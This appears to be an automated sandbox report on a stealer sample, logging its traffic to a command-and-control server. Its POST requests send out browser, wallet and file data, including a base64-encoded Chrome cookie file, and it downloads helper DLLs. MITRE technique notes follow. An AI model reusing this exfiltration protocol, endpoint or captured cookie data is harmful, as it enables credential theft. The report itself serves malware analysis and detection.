Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="message"browsers------BAFCGIJDAFBKFIECBGCA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"plugins------IEHIIIJDAAAAAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="message"fplugins------GDHIIIIEHCFIECAKFHJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 6515Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.215.113.206Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 2d 2d 0d 0a Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1n
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAAHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wallets------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"files------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="message"ybncbhylepme------ECAEGHIJEHJDHIDHIDAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBGHDGCFHIDBGDGIIIE--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

